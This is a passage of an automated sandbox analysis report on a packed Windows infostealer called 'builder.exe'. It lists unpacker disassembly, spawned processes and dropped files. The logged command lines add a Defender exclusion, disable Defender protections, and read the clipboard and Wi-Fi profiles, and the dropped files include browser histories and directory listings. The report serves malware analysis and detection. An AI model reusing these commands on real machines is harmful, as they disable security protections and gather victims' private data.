rsp,mov rdx, rdi,mov rdi, rsi,mov esi, 0x43638,push rbp,mov rbp, rsp,mov r9d, dword ptr [rcx],mov r8, rdx,mov rdx, rsi,lea rsi, [rdi + 2],push rsi,mov al, byte ptr [rdi],dec edx,mov cl, al,and al, 7,shr cl, 3,mov rbx, 0xfffffffffffffd00," "_decimal.pyd" file has an entrypoint instructions - "mov qword ptr [rsp + 8], rcx,mov qword ptr [rsp + 0x10], rdx,mov qword ptr [rsp + 0x18], r8,cmp dl, 1,jne 0x1800401fb,push rbx,push rsi,push rdi,push rbp,lea rsi, [rip - 0x15633],lea rdi, [rsi - 0x29000],push rdi,mov eax, 0x3df2c,push rax,mov rcx, rsp,mov rdx, rdi,mov rdi, rsi,mov esi, 0x1560c,push rbp,mov rbp, rsp,mov r9d, dword ptr [rcx],mov r8, rdx,mov rdx, rsi,lea rsi, [rdi + 2],push rsi,mov al, byte ptr [rdi],dec edx,mov cl, al,and al, 7,shr cl, 3,mov rbx, 0xfffffffffffffd00," "_lzma.pyd" file has an entrypoint instructions - "mov qword ptr [rsp + 8], rcx,mov qword ptr [rsp + 0x10], rdx,mov qword ptr [rsp + 0x18], r8,cmp dl, 1,jne 0x18002b5ab,push rbx,push rsi,push rdi,push rbp,lea rsi, [rip - 0x109e3],lea rdi, [rsi - 0x19000],push rdi,mov eax, 0x289c5,push rax,mov rcx, rsp,mov rdx, rdi,mov rdi, rsi,mov esi, 0x109b6,push rbp,mov rbp, rsp,mov r9d, dword ptr [rcx],mov r8, rdx,mov rdx, rsi,lea rsi, [rdi + 2],push rsi,mov al, byte ptr [rdi],dec edx,mov cl, al,and al, 7,shr cl, 3,mov rbx, 0xfffffffffffffd00," "_ssl.pyd" file has an entrypoint instructions - "mov qword ptr [rsp + 8], rcx,mov qword ptr [rsp + 0x10], rdx,mov qword ptr [rsp + 0x18], r8,cmp dl, 1,jne 0x18002c617,push rbx,push rsi,push rdi,push rbp,lea rsi, [rip - 0xaa43],lea rdi, [rsi - 0x20000],push rdi,mov eax, 0x29694,push rax,mov rcx, rsp,mov rdx, rdi,mov rdi, rsi,mov esi, 0xaa1a,push rbp,mov rbp, rsp,mov r9d, dword ptr [rcx],mov r8, rdx,mov rdx, rsi,lea rsi, [rdi + 2],push rsi,mov al, byte ptr [rdi],dec edx,mov cl, al,and al, 7,shr cl, 3,mov rbx, 0xfffffffffffffd00," "_ctypes.pyd" file has an entrypoint instructions - "mov qword ptr [rsp + 8], rcx,mov qword ptr [rsp + 0x10], rdx,mov qword ptr [rsp + 0x18], r8,cmp dl, 1,jne 0x180022547,push rbx,push rsi,push rdi,push rbp,lea rsi, [rip - 0x9973],lea rdi, [rsi - 0x17000],push rdi,mov eax, 0x1f4a8,push rax,mov rcx, rsp,mov rdx, rdi,mov rdi, rsi,mov esi, 0x9945,push rbp,mov rbp, rsp,mov r9d, dword ptr [rcx],mov r8, rdx,mov rdx, rsi,lea rsi, [rdi + 2],push rsi,mov al, byte ptr [rdi],dec edx,mov cl, al,and al, 7,shr cl, 3,mov rbx, 0xfffffffffffffd00," "_sqlite3.pyd" file has an entrypoint instructions - "mov qword ptr [rsp + 8], rcx,mov qword ptr [rsp + 0x10], rdx,mov qword ptr [rsp + 0x18], r8,cmp dl, 1,jne 0x18001d51b,push rbx,push rsi,push rdi,push rbp,lea rsi, [rip - 0x7953],lea rdi, [rsi - 0x14000],push rdi,mov eax, 0x1a5a3,push rax,mov rcx, rsp,mov rdx, rdi,mov rdi, rsi,mov esi, 0x7928,push rbp,mov rbp, rsp,mov r9d, dword ptr [rcx],mov r8, rdx,mov rdx, rsi,lea rsi, [rdi + 2],push rsi,mov al, byte ptr [rdi],dec edx,mov cl, al,and al, 7,shr cl, 3,mov rbx, 0xfffffffffffffd00," "_bz2.pyd" file has an entrypoint instructions - "mov qword ptr [rsp + 8], rcx,mov qword ptr [rsp + 0x10], rdx,mov qword ptr [rsp + 0x18], r8,cmp dl, 1,jne 0x18001705b,push rbx,push rsi,push rdi,push rbp,lea rsi, [rip - 0x7493],lea rdi, [rsi - 0xe000],push rdi,mov eax, 0x14804,push rax,mov rcx, rsp,mov rdx, rdi,mov rdi, rsi,mov esi, 0x746a,push rbp,mov rbp, rsp,mov r9d, dword ptr [rcx],mov r8, rdx,mov rdx, rsi,lea rsi, [rdi + 2],push rsi,mov al, byte ptr [rdi],dec edx,mov cl, al,and al, 7,shr cl, 3,mov rbx, 0xfffffffffffffd00," "_socket.pyd" file has an entrypoint instructions - "mov qword ptr [rsp + 8], rcx,mov qword ptr [rsp + 0x10], rdx,mov qword ptr [rsp + 0x18], r8,cmp dl, 1,jne 0x180017927,push rbx,push rsi,push rdi,push rbp,lea rsi, [rip - 0x5d53],lea rdi, [rsi - 0x10000],push rdi,mov eax, 0x14e2d,push rax,mov rcx, rsp,mov rdx, rdi,mov rdi, rsi,mov esi, 0x5d1f,push rbp,mov rbp, rsp,mov r9d, dword ptr [rcx],mov r8, rdx,mov rdx, rsi,lea rsi, [rdi + 2],push rsi,mov al, byte ptr [rdi],dec edx,mov cl, al,and al, 7,shr cl, 3,mov rbx, 0xfffffffffffffd00," "_hashlib.pyd" file has an entrypoint instructions - "mov qword ptr [rsp + 8], rcx,mov qword ptr [rsp + 0x10], rdx,mov qword ptr [rsp + 0x18], r8,cmp dl, 1,jne 0x180012a5b,push rbx,push rsi,push rdi,push rbp,lea rsi, [rip - 0x3e93],lea rdi, [rsi - 0xd000],push rdi,mov eax, 0xfc98,push rax,mov rcx, rsp,mov rdx, rdi,mov rdi, rsi,mov esi, 0x3e62,push rbp,mov rbp, rsp,mov r9d, dword ptr [rcx],mov r8, rdx,mov rdx, rsi,lea rsi, [rdi + 2],push rsi,mov al, byte ptr [rdi],dec edx,mov cl, al,and al, 7,shr cl, 3,mov rbx, 0xfffffffffffffd00," "_queue.pyd" file has an entrypoint instructions - "mov qword ptr [rsp + 8], rcx,mov qword ptr [rsp + 0x10], rdx,mov qword ptr [rsp + 0x18], r8,cmp dl, 1,jne 0x18000b64b,push rbx,push rsi,push rdi,push rbp,lea rsi, [rip - 0x1a83],lea rdi, [rsi - 0x8000],push rdi,mov eax, 0x87aa,push rax,mov rcx, rsp,mov rdx, rdi,mov rdi, rsi,mov esi, 0x1a5e,push rbp,mov rbp, rsp,mov r9d, dword ptr [rcx],mov r8, rdx,mov rdx, rsi,lea rsi, [rdi + 2],push rsi,mov al, byte ptr [rdi],dec edx,mov cl, al,and al, 7,shr cl, 3,mov rbx, 0xfffffffffffffd00," "select.pyd" file has an entrypoint instructions - "mov qword ptr [rsp + 8], rcx,mov qword ptr [rsp + 0x10], rdx,mov qword ptr [rsp + 0x18], r8,cmp dl, 1,jne 0x18000b537,push rbx,push rsi,push rdi,push rbp,lea rsi, [rip - 0x1963],lea rdi, [rsi - 0x8000],push rdi,mov eax, 0x86a9,push rax,mov rcx, rsp,mov rdx, rdi,mov rdi, rsi,mov esi, 0x1936,push rbp,mov rbp, rsp,mov r9d, dword ptr [rcx],mov r8, rdx,mov rdx, rsi,lea rsi, [rdi + 2],push rsi,mov al, byte ptr [rdi],dec edx,mov cl, al,and al, 7,shr cl, 3,mov rbx, 0xfffffffffffffd00," "tinyaes.cp310-win_amd64.pyd" file has an entrypoint instructions - "mov qword ptr [rsp + 8], rcx,mov qword ptr [rsp + 0x10], rdx,mov qword ptr [rsp + 0x18], r8,cmp dl, 1,jne 0x18000df6b,push rbx,push rsi,push rdi,push rbp,lea rsi, [rip - 0x33a3],lea rdi, [rsi - 0x9000],push rdi,mov eax, 0xba96,push rax,mov rcx, rsp,mov rdx, rdi,mov rdi, rsi,mov esi, 0x3375,push rbp,mov rbp, rsp,mov r9d, dword ptr [rcx],mov r8, rdx,mov rdx, rsi,lea rsi, [rdi + 2],push rsi,mov al, byte ptr [rdi],dec edx,mov cl, al,and al, 7,shr cl, 3,mov rbx, 0xfffffffffffffd00,"49:Tb7f,Observed system executable string:"%WINDIR%\System32\cmd.exe" [Source: 00000000-00007276-00000BC0-914916141] Observed system executable string:"%WINDIR%\system32\cmd.exe /c "net session"" [Source: 00000000-00007276-00000C47-12006625793] Observed system executable string:"%WINDIR%\system32\cmd.exe /c "powershell -Command Add-MpPreference -ExclusionPath 'C:\builder.exe'"" [Source: 00000000-00007276-00000C47-25631896786] Observed system executable string:"%WINDIR%\system32\cmd.exe /c "powershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -" [Source: 00000000-00007276-00000C47-25657716720], Observed system executable string:"%WINDIR%\system32\cmd.exe /c "tasklist /FO LIST"" [Source: 00000000-00007276-00000C47-28045377969], Observed system executable string:"%WINDIR%\system32\cmd.exe /c "WMIC /Node:localhost /Namespace:\\root\SecurityCenter2 Path AntivirusProduct Get displayName"" [Source: 00000000-00007276-00000C47-28869821506], Observed system executable string:"%WINDIR%\system32\cmd.exe /c "powershell Get-Clipboard"" [Source: 00000000-00007276-00000C47-28909188732], Observed system executable string:"%WINDIR%\system32\cmd.exe /c "tree /A /F"" [Source: 00000000-00007276-00000C47-29143858630], Observed system executable string:"%WINDIR%\system32\cmd.exe /c "netsh wlan show profile"" [Source: 00000000-00007276-00000C47-29291278267], Observed system executable string:"%WINDIR%\system32\cmd.exe /c "systeminfo"" [Source: 00000000-00007276-00000C47-29403551542], Observed system executable string:"%WINDIR%\system32\cmd.exe /c "Camera.exe /devlist"" [Source: 00000000-00007276-00000C47-32676130739], Observed system executable string:"%WINDIR%\system32\net.exe" [Source: 00000000-00000744-00000C47-870545564], Observed system executable string:"%WINDIR%\System32\net.exe" [Source: 00000000-00000744-00000BC0-915474976], Observed system executable string:"%WINDIR%\System32\WindowsPowerShell\v1.0\powershell.exe" [Source: 00000000-00006876-00000BC0-926027198], Observed system executable string:"%WINDIR%\System32\tasklist.exe" [Source: 00000000-00004496-00000BC0-925332692], Observed system executable string:"%WINDIR%\system32\tasklist.exe" [Source: 00000000-00004496-00000C47-5450290672], Observed system executable string:"%WINDIR%\System32\wbem\WMIC.exe" [Source: 00000000-00006228-00000BC0-924983143], Observed system executable string:"%WINDIR%\System32\Wbem\WMIC.exe" [Source: 00000000-00006228-00000C47-1185137390], Observed system executable string:"%WINDIR%\System32\netsh.exe" [Source: 00000000-00004344-00000BC0-926230793], Observed system executable string:"%WINDIR%\system32\netsh.exe" [Source: 00000000-00004344-00000C47-4394867894], Observed system executable string:"%WINDIR%\System32\systeminfo.exe" [Source: 00000000-00000184-00000BC0-928421002], Observed system executable string:"%WINDIR%\system32\systeminfo.exe" [Source: 00000000-00000184-00000C47-8967582704]4a:T6ca,Process "builder.exe" (UID: 00000000-00007276) was launched with new environment variables: "_MEIPASS2="%TEMP%\_MEI50282", USERDNSDOMAIN="DESKTOP-FVVF82A"" Process "builder.exe" (UID: 00000000-00007276) was launched with modified environment variables: "NUMBER_OF_PROCESSORS" Process "cmd.exe" (UID: 00000000-00000744) was launched with missing environment variables: "_MEIPASS2" Process "net.exe" (UID: 00000000-00004996) was launched with new environment variables: "PROMPT="$P$G"" Process "cmd.exe" (UID: 00000000-00006844) was launched with missing environment variables: "PROMPT" Process "tasklist.exe" (UID: 00000000-00004020) was launched with new environment variables: "PROMPT="$P$G"" Process "cmd.exe" (UID: 00000000-00001340) was launched with missing environment variables: "PROMPT" Process "tree.com" (UID: 00000000-00007900) was launched with new environment variables: "PROMPT="$P$G"" Process "cmd.exe" (UID: 00000000-00003768) was launched with missing environment variables: "PROMPT" Process "tree.com" (UID: 00000000-00007332) was launched with new environment variables: "PROMPT="$P$G"" Process "cmd.exe" (UID: 00000000-00004356) was launched with missing environment variables: "PROMPT" Process "tree.com" (UID: 00000000-00003024) was launched with new environment variables: "PROMPT="$P$G"" Process "cmd.exe" (UID: 00000000-00001572) was launched with missing environment variables: "PROMPT" Process "tree.com" (UID: 00000000-00007604) was launched with new environment variables: "PROMPT="$P$G"" Process "cmd.exe" (UID: 00000000-00003840) was launched with missing environment variables: "PROMPT" Process "tree.com" (UID: 00000000-00003808) was launched with new environment variables: "PROMPT="$P$G""4b:Tf75,Observed system executable string:"%WINDIR%\system32\Winsta.dll" [Source: 00000000-00004020-00000C2B-927586578] Observed system executable string:"%WINDIR%\system32\version.dll" [Source: 00000000-00006748-00000C2B-933005146] Observed system executable string:"%WINDIR%\Microsoft.NET\Framework64\v4.0.30319\mscoreei.dll" [Source: 00000000-00001004-00000C2B-928351078] Observed system executable string:"%WINDIR%\Microsoft.NET\Framework64\v4.0.30319\clr.dll" [Source: 00000000-00001004-00000C2B-930523282] Observed system executable string:"%WINDIR%\Microsoft.NET\Framework64\v4.0.30319\mscoree.dll" [Source: 00000000-00001004-00000C2B-931000966] Observed system executable string:"%WINDIR%\system32\combase.dll" [Source: 00000000-00001004-00000C2B-931169714] Observed system executable string:"%WINDIR%\assembly\NativeImages_v4.0.30319_64\mscorlib\fe2524177eb3088c77be666722039f52\mscorlib.ni.dll" [Source: 00000000-00001004-00000C2B-932532072] Observed system executable string:"%WINDIR%\Microsoft.NET\Framework64\v4.0.30319\ole32.dll" [Source: 00000000-00001004-00000C2B-932737238] Observed system executable string:"%WINDIR%\Microsoft.NET\Framework64\v4.0.30319\api-ms-win-core-winrt-l1-1-0.dll" [Source: 00000000-00001004-00000C2B-932802653] Observed system executable string:"%WINDIR%\Microsoft.Net\assembly\GAC_64\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\oleaut32.dll" [Source: 00000000-00001004-00000C2B-933164735] Observed system executable string:"%WINDIR%\assembly\NativeImages_v4.0.30319_64\System\e43dd9c73ab5615e461bf5109c3facd6\System.ni.dll" [Source: 00000000-00001004-00000C2B-933541314] Observed system executable string:"%WINDIR%\assembly\NativeImages_v4.0.30319_64\System.Core\0d59b0e237d7519417de10cd84bda4e7\System.Core.ni.dll" [Source: 00000000-00001004-00000C2B-933629442] Observed system executable string:"%WINDIR%\Microsoft.NET\Framework64\v4.0.30319\OLEAUT32.dll" [Source: 00000000-00001004-00000C2B-933850332] Observed system executable string:"%WINDIR%\Microsoft.Net\assembly\GAC_64\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\combase.dll" [Source: 00000000-00001004-00000C2B-934392527] Observed system executable string:"%WINDIR%\Microsoft.NET\Framework64\v4.0.30319\api-ms-win-core-winrt-string-l1-1-0.dll" [Source: 00000000-00001004-00000C2B-934856457] Observed system executable string:"%WINDIR%\Microsoft.Net\assembly\GAC_64\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\shell32.dll" [Source: 00000000-00001004-00000C2B-935256278] Observed system executable string:"%WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\psapi.dll" [Source: 00000000-00001004-00000C2B-935477266] Observed system executable string:"%WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\wintrust.dll" [Source: 00000000-00001004-00000C2B-935554024] Observed system executable string:"%WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\ntdll.dll" [Source: 00000000-00001004-00000C2B-935815644] Observed system executable string:"%WINDIR%\Microsoft.NET\Framework64\v4.0.30319\en-US\mscorrc.dll" [Source: 00000000-00001004-00000C2B-936160347] Observed system executable string:"%WINDIR%\Microsoft.NET\Framework64\v4.0.30319\en\mscorrc.dll" [Source: 00000000-00001004-00000C2B-936226943] Observed system executable string:"%WINDIR%\Microsoft.NET\Framework64\v4.0.30319\mscorrc.dll" [Source: 00000000-00001004-00000C2B-936297387] Observed system executable string:"%WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\amsi.dll" [Source: 00000000-00001004-00000C2B-936316505] Observed system executable string:"%WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\crypt32.dll" [Source: 00000000-00001004-00000C2B-936655540] Observed system executable string:"%WINDIR%\Microsoft.NET\Framework64\v4.0.30319\CRYPT32.dll" [Source: 00000000-00001004-00000C2B-936869923]4c:Ta0a,Spawned process "builder.exe" (UID: 00000000-00007276) Spawned process "cmd.exe" with commandline "/c "net session"" (UID: 00000000-00000744) Spawned process "net.exe" with commandline "net session" (UID: 00000000-00004996) Spawned process "net1.exe" with commandline "%WINDIR%\\system32\\net1 session" (UID: 00000000-00001732) Spawned process "cmd.exe" with commandline "/c "powershell Set-MpPreference -DisableIntrusionPreventionSyste ..." (UID: 00000000-00006876), Spawned process "cmd.exe" with commandline "/c "powershell -Command Add-MpPreference -ExclusionPath 'C:\\bui ..." (UID: 00000000-00006844) Spawned process "cmd.exe" with commandline "/c "tasklist /FO LIST"" (UID: 00000000-00004496) Spawned process "cmd.exe" with commandline "/c "tasklist /FO LIST"" (UID: 00000000-00005472) Spawned process "cmd.exe" with commandline "/c "WMIC /Node:localhost /Namespace:\\\\root\\SecurityCenter2 Pa ..." (UID: 00000000-00006228), Spawned process "cmd.exe" with commandline "/c "powershell Get-Clipboard"" (UID: 00000000-00006260), Spawned process "cmd.exe" with commandline "/c "tasklist /FO LIST"" (UID: 00000000-00004652), Spawned process "cmd.exe" with commandline "/c "tree /A /F"" (UID: 00000000-00001860), Spawned process "cmd.exe" with commandline "/c "netsh wlan show profile"" (UID: 00000000-00004344), Spawned process "cmd.exe" with commandline "/c "systeminfo"" (UID: 00000000-00000184), Spawned process "cmd.exe" with commandline "/c "Camera.exe /devlist"" (UID: 00000000-00004380), Spawned process "tasklist.exe" with commandline "tasklist /FO LIST" (UID: 00000000-00004020), Spawned process "WMIC.exe" with commandline "WMIC /Node:localhost /Namespace:\\\\root\\SecurityCenter2 Path ..." (UID: 00000000-00006748), Spawned process "tasklist.exe" with commandline "tasklist /FO LIST" (UID: 00000000-00003884), Spawned process "tasklist.exe" with commandline "tasklist /FO LIST" (UID: 00000000-00007892), Spawned process "powershell.exe" with commandline "powershell -Command Add-MpPreference -ExclusionPath 'C:\\builde ..." (UID: 00000000-00001004), Spawned process "powershell.exe" with commandline "powershell Set-MpPreference -DisableIntrusionPreventionSystem $ ..." (UID: 00000000-00002000), Spawned process "netsh.exe" with commandline "netsh wlan show profile" (UID: 00000000-00004936), Spawned process "tree.com" with commandline "tree /A /F" (UID: 00000000-00001880), Spawned process "powershell.exe" with commandline "powershell Get-Clipboard" (UID: 00000000-00007588), Spawned process "systeminfo.exe" (UID: 00000000-00002500)4d:Ta0a,Spawned process "builder.exe" (UID: 00000000-00007276) Spawned process "cmd.exe" with commandline "/c "net session"" (UID: 00000000-00000744) Spawned process "net.exe" with commandline "net session" (UID: 00000000-00004996) Spawned process "net1.exe" with commandline "%WINDIR%\\system32\\net1 session" (UID: 00000000-00001732) Spawned process "cmd.exe" with commandline "/c "powershell Set-MpPreference -DisableIntrusionPreventionSyste ..." (UID: 00000000-00006876), Spawned process "cmd.exe" with commandline "/c "powershell -Command Add-MpPreference -ExclusionPath 'C:\\bui ..." (UID: 00000000-00006844) Spawned process "cmd.exe" with commandline "/c "tasklist /FO LIST"" (UID: 00000000-00004496) Spawned process "cmd.exe" with commandline "/c "tasklist /FO LIST"" (UID: 00000000-00005472) Spawned process "cmd.exe" with commandline "/c "WMIC /Node:localhost /Namespace:\\\\root\\SecurityCenter2 Pa ..." (UID: 00000000-00006228), Spawned process "cmd.exe" with commandline "/c "powershell Get-Clipboard"" (UID: 00000000-00006260), Spawned process "cmd.exe" with commandline "/c "tasklist /FO LIST"" (UID: 00000000-00004652), Spawned process "cmd.exe" with commandline "/c "tree /A /F"" (UID: 00000000-00001860), Spawned process "cmd.exe" with commandline "/c "netsh wlan show profile"" (UID: 00000000-00004344), Spawned process "cmd.exe" with commandline "/c "systeminfo"" (UID: 00000000-00000184), Spawned process "cmd.exe" with commandline "/c "Camera.exe /devlist"" (UID: 00000000-00004380), Spawned process "tasklist.exe" with commandline "tasklist /FO LIST" (UID: 00000000-00004020), Spawned process "WMIC.exe" with commandline "WMIC /Node:localhost /Namespace:\\\\root\\SecurityCenter2 Path ..." (UID: 00000000-00006748), Spawned process "tasklist.exe" with commandline "tasklist /FO LIST" (UID: 00000000-00003884), Spawned process "tasklist.exe" with commandline "tasklist /FO LIST" (UID: 00000000-00007892), Spawned process "powershell.exe" with commandline "powershell -Command Add-MpPreference -ExclusionPath 'C:\\builde ..." (UID: 00000000-00001004), Spawned process "powershell.exe" with commandline "powershell Set-MpPreference -DisableIntrusionPreventionSystem $ ..." (UID: 00000000-00002000), Spawned process "netsh.exe" with commandline "netsh wlan show profile" (UID: 00000000-00004936), Spawned process "tree.com" with commandline "tree /A /F" (UID: 00000000-00001880), Spawned process "powershell.exe" with commandline "powershell Get-Clipboard" (UID: 00000000-00007588), Spawned process "systeminfo.exe" (UID: 00000000-00002500)4e:T7a2,The input sample is signed with a certificate issued by "CN=WE1, O=Google Trust Services, C=US" (SHA1: BB:B9:11:EB:A3:CD:25:2D:50:B6:5A:CB:74:BD:B7:75:F2:B5:6E:D9; see report for more information) The input sample is signed with a certificate issued by "CN=GTS Root R4, O=Google Trust Services LLC, C=US" (SHA1: 10:8F:BF:79:4E:18:EC:53:47:A4:14:E4:37:0C:C4:50:6C:29:7A:B2; see report for more information) The input sample is signed with a certificate issued by "CN=GlobalSign Root CA, OU=Root CA, O=GlobalSign nv-sa, C=BE" (SHA1: 93:2B:ED:33:9A:A6:92:12:C8:93:75:B7:93:04:B4:75:49:0B:89:A0; see report for more information) The input sample is signed with a certificate issued by "CN=WR2, O=Google Trust Services, C=US" (SHA1: 4C:54:E7:A0:1B:BC:44:26:80:75:11:ED:9B:4C:7A:93:68:20:C3:A1; see report for more information) The input sample is signed with a certificate issued by "CN=GTS Root R1, O=Google Trust Services LLC, C=US" (SHA1: 66:E4:16:12:60:B1:00:FE:E0:DE:28:7A:9A:52:93:B4:C2:22:4A:E6; see report for more information) The input sample is signed with a certificate issued by "CN=GlobalSign Root CA, OU=Root CA, O=GlobalSign nv-sa, C=BE" (SHA1: 08:74:54:87:E8:91:C1:9E:30:78:C1:F2:A0:7E:45:29:50:EF:36:F6; see report for more information) The input sample is signed with a certificate issued by "CN=AAA Certificate Services, O=Comodo CA Limited, L=Salford, ST=Greater Manchester, C=GB" (SHA1: 32:9B:78:A5:C9:EB:C2:04:32:42:DE:90:CE:1B:7C:6B:1B:A6:C6:92; see report for more information) The input sample is signed with a certificate issued by "CN=Sectigo Public Code Signing Root R46, O=Sectigo Limited, C=GB" (SHA1: 01:85:FF:99:61:FF:0A:A2:E4:31:81:79:48:C2:8E:83:D3:F3:EC:70; see report for more information) The input sample is signed with a certificate issued by "CN=Sectigo Public Code Signing CA EV R36, O=Sectigo Limited, C=GB" (SHA1: 3D:BC:3A:2A:0E:9C:E8:80:3B:42:2C:FD:BC:60:AC:D3:31:64:96:5D; see report for more information)4f:T1ba8,"python310.dll" has type "PE32+ executable for MS Windows 6.00 (DLL) x86-64 3 sections"- Location: [%TEMP%\_MEI50282\python310.dll]- [targetUID: 00000000-00007276] "libcrypto-1_1.dll" has type "PE32+ executable for MS Windows 6.00 (DLL) x86-64 3 sections"- Location: [%TEMP%\_MEI50282\libcrypto-1_1.dll]- [targetUID: 00000000-00007276] "rar.exe" has type "PE32+ executable for MS Windows 5.02 (console) x86-64 7 sections"- Location: [%TEMP%\_MEI50282\rar.exe]- [targetUID: 00000000-00005028] "sqlite3.dll" has type "PE32+ executable for MS Windows 6.00 (DLL) x86-64 3 sections"- Location: [%TEMP%\_MEI50282\sqlite3.dll]- [targetUID: 00000000-00007276] "libssl-1_1.dll" has type "PE32+ executable for MS Windows 6.00 (DLL) x86-64 3 sections"- Location: [%TEMP%\_MEI50282\libssl-1_1.dll]- [targetUID: 00000000-00007276] "VCRUNTIME140.dll" has type "PE32+ executable for MS Windows 6.00 (DLL) x86-64 7 sections"- Location: [%TEMP%\_MEI50282\VCRUNTIME140.dll]- [targetUID: 00000000-00001004] "Camera.exe" has type "PE32 executable for MS Windows 5.01 (console) Intel i386 3 sections"- Location: [%TEMP%\_MEI50282\Camera.exe]- [targetUID: 00000000-00004380] "libffi-7.dll" has type "PE32+ executable for MS Windows 6.00 (DLL) x86-64 3 sections"- Location: [%TEMP%\_MEI50282\libffi-7.dll]- [targetUID: 00000000-00007276] "base_library.zip" has type "Zip archive data made by v2.0 extract using at least v2.0 last modified Jan 01 1980 00:00:00 uncompressed size 32821 method=store"- Location: [%TEMP%\_MEI50282\base_library.zip]- [targetUID: 00000000-00007276] "unicodedata.pyd" has type "PE32+ executable for MS Windows 6.00 (DLL) x86-64 3 sections"- Location: [%TEMP%\_MEI50282\unicodedata.pyd]- [targetUID: 00000000-00007276] "Gkh31DwGKQ.tmp" has type "SQLite 3.x database last written using SQLite version 3050004 file counter 4 database pages 50 cookie 0x2a schema 4 UTF-8 version-valid-for 4"- [targetUID: N/A] "2qVI9MCzBA.tmp" has type "SQLite 3.x database last written using SQLite version 3050004 file counter 2 database pages 40 cookie 0x21 schema 4 UTF-8 version-valid-for 2"- [targetUID: N/A] "_decimal.pyd" has type "PE32+ executable for MS Windows 6.00 (DLL) x86-64 3 sections"- Location: [%TEMP%\_MEI50282\_decimal.pyd]- [targetUID: 00000000-00005028] "_lzma.pyd" has type "PE32+ executable for MS Windows 6.00 (DLL) x86-64 3 sections"- Location: [%TEMP%\_MEI50282\_lzma.pyd]- [targetUID: 00000000-00007276] "_ssl.pyd" has type "PE32+ executable for MS Windows 6.00 (DLL) x86-64 3 sections"- Location: [%TEMP%\_MEI50282\_ssl.pyd]- [targetUID: 00000000-00007276] "_ctypes.pyd" has type "PE32+ executable for MS Windows 6.00 (DLL) x86-64 3 sections"- Location: [%TEMP%\_MEI50282\_ctypes.pyd]- [targetUID: 00000000-00007276] "HvWGi75FaL.tmp" has type "SQLite 3.x database last written using SQLite version 3050004 page size 2048 file counter 1 database pages 25 cookie 0xe schema 4 UTF-8 version-valid-for 1"- [targetUID: N/A] "_sqlite3.pyd" has type "PE32+ executable for MS Windows 6.00 (DLL) x86-64 3 sections"- Location: [%TEMP%\_MEI50282\_sqlite3.pyd]- [targetUID: 00000000-00007276] "_bz2.pyd" has type "PE32+ executable for MS Windows 6.00 (DLL) x86-64 3 sections"- Location: [%TEMP%\_MEI50282\_bz2.pyd]- [targetUID: 00000000-00007276] "_socket.pyd" has type "PE32+ executable for MS Windows 6.00 (DLL) x86-64 3 sections"- Location: [%TEMP%\_MEI50282\_socket.pyd]- [targetUID: 00000000-00007276] "NXd6w9S7pJ.tmp" has type "SQLite 3.x database last written using SQLite version 3050004 page size 2048 file counter 1 database pages 20 cookie 0xb schema 4 UTF-8 version-valid-for 1"- [targetUID: N/A] "_hashlib.pyd" has type "PE32+ executable for MS Windows 6.00 (DLL) x86-64 3 sections"- Location: [%TEMP%\_MEI50282\_hashlib.pyd]- [targetUID: 00000000-00007276] "Cm4g5ansE9.tmp" has type "SQLite 3.x database last written using SQLite version 3050004 file counter 12 database pages 8 cookie 0x5 schema 4 UTF-8 version-valid-for 12"- [targetUID: N/A] "Camera" has type "data"- Location: [%TEMP%\_MEI50282\Camera]- [targetUID: 00000000-00007276] "_queue.pyd" has type "PE32+ executable for MS Windows 6.00 (DLL) x86-64 3 sections"- Location: [%TEMP%\_MEI50282\_queue.pyd]- [targetUID: 00000000-00007276] "select.pyd" has type "PE32+ executable for MS Windows 6.00 (DLL) x86-64 3 sections"- Location: [%TEMP%\_MEI50282\select.pyd]- [targetUID: 00000000-00007276] "aX9sadDBAX.tmp" has type "SQLite 3.x database last written using SQLite version 3050004 file counter 7 database pages 5 cookie 0x3 schema 4 UTF-8 version-valid-for 7"- [targetUID: N/A] "tinyaes.cp310-win_amd64.pyd" has type "PE32+ executable for MS Windows 6.00 (DLL) x86-64 3 sections"- Location: [%TEMP%\_MEI50282\tinyaes.cp310-win_amd64.pyd]- [targetUID: 00000000-00007276] "Task List.txt" has type "ASCII text with CRLF line terminators"- [targetUID: N/A] "sslkey.txt" has type "ASCII text with CRLF LF line terminators"- Location: [%TEMP%\sslkey.txt]- [targetUID: 00000000-00007276] "mXgY8.zip" has type "RAR archive data v5"- [targetUID: N/A] "System Info.txt" has type "ASCII text with CRLF line terminators"- [targetUID: N/A] "Chrome History.txt" has type "ASCII text with CRLF line terminators"- [targetUID: N/A] "Tree.txt" has type "Unicode text UTF-8 text with CRLF line terminators"- [targetUID: N/A] "Edge History.txt" has type "ASCII text with CRLF line terminators"- [targetUID: N/A] "rarreg.key" has type "ASCII text"- Location: [%TEMP%\_MEI50282\rarreg.key]- [targetUID: 00000000-00005028] "Documents.txt" has type "Unicode text UTF-8 text with CRLF line terminators"- Location: [%TEMP%\‎    ‏ \Directories\Documents.txt]- [targetUID: 00000000-00007276] "Downloads.txt" has type "ASCII text with CRLF line terminators"- Location: [%TEMP%\‎    ‏ \Directories\Downloads.txt]- [targetUID: 00000000-00007276] "StartupProfileData-NonInteractive" has type "data"- Location: [%LOCALAPPDATA%\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive]- [targetUID: 00000000-00001004] "Pictures.txt" has type "Unicode text UTF-8 text with CRLF line terminators"- Location: [%TEMP%\‎    ‏ \Directories\Pictures.txt]- [targetUID: 00000000-00007276] "Desktop.txt" has type "ASCII text with CRLF line terminators"- Location: [%TEMP%\‎    ‏ \Directories\Desktop.txt]- [targetUID: 00000000-00007276] "Videos.txt" has type "ASCII text with CRLF line terminators"- Location: [%TEMP%\‎    ‏ \Directories\Videos.txt]- [targetUID: 00000000-00007276] "Clipboard.txt" has type "ASCII text with no line terminators"- Location: [%TEMP%\‎    ‏ \System\Clipboard.txt]- [targetUID: 00000000-00007276] "Music.txt" has type "ASCII text with CRLF line terminators"- Location: 